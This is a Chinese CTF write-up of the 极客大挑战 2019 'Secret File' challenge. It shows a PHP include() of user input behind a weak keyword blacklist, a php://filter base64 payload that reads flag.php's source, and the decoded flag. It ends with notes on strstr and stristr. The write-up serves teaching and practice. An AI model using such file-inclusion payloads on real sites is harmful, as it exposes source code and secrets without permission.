文件隐藏 [极客大挑战 2019]Secret File1

打开题目

文件隐藏 [极客大挑战 2019]Secret File1_第1张图片

查看源代码发现有一个可疑的php

文件隐藏 [极客大挑战 2019]Secret File1_第2张图片

访问一下看看

文件隐藏 [极客大挑战 2019]Secret File1_第3张图片

点一下secret

得到如下页面

文件隐藏 [极客大挑战 2019]Secret File1_第4张图片

响应时间太短我们根本看不清什么东西,那我们尝试bp抓包一下看看

提示有个secr3t.php

文件隐藏 [极客大挑战 2019]Secret File1_第5张图片

访问一下

得到

文件隐藏 [极客大挑战 2019]Secret File1_第6张图片

我们看见了flag.php

访问一下可是什么都没有

文件隐藏 [极客大挑战 2019]Secret File1_第7张图片

那我们就进行代码审计

 $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){

get传参传入一个file参数,然后用strstr函数和stristr函数(严格大小写)检查 $file 是否包含 ../, tp, input, data 中的任何一个字符串。

        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里

如果匹配到其中任何一个,将输出 "Oh no!" 并结束脚本。如果用户提供的 $file 参数通过了过滤器的检查,include($file); 将包含对应的文件

这里其实就很明显要用php伪协议来读取了,其中还不能包含input,data等字眼

那我们便用php://filter读取flag.php文件内容

payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

得到密文

文件隐藏 [极客大挑战 2019]Secret File1_第8张图片

我们base64解密一下得到

   
       
        FLAG
   

   






        
       

啊哈!你找到我了!可是你看不到我QAQ~~~





        
       


                            echo "我就在这里";
                $flag = 'flag{0f144661-a3d7-44b8-84a0-0250d2f960ff}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
       


   

知识点:

  • strstr函数

返回字符串中从某指定字符开始到结束处的字符串。

1、strstr() 函数搜索一个字符串在另一个字符串中的第一次出现。
2、找到所搜索的字符串,则该函数返回第一次匹配的字符串的地址;
3、如果未找到所搜索的字符串,则返回NULL。

  char *strstr(char *str1, const char *str2);   //返回值为字符型指针
  str1: 被查找目标
  str2: 要查找对象

例子;

#include 
#include 
main()
{
    char *s="GoldenGlobalView";
    char *l="lob";
    char *p;
    p=strstr(s,l);
    if(p)
        printf("%s",p);
    else
        printf("NotFound!");
    return 0;
}

运行结果为:

lobalView

来源于:strstr()函数的使用说明(C语言)_c语言strstr函数的用法-CSDN博客

  • stristr函数

        搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。和strstr函数的用法是一样的,但是该函数是不区分大小写的。如需进行区分大小写的搜索,请使用 strstr() 函数。

你可能感兴趣的:(android,studio,android,ide)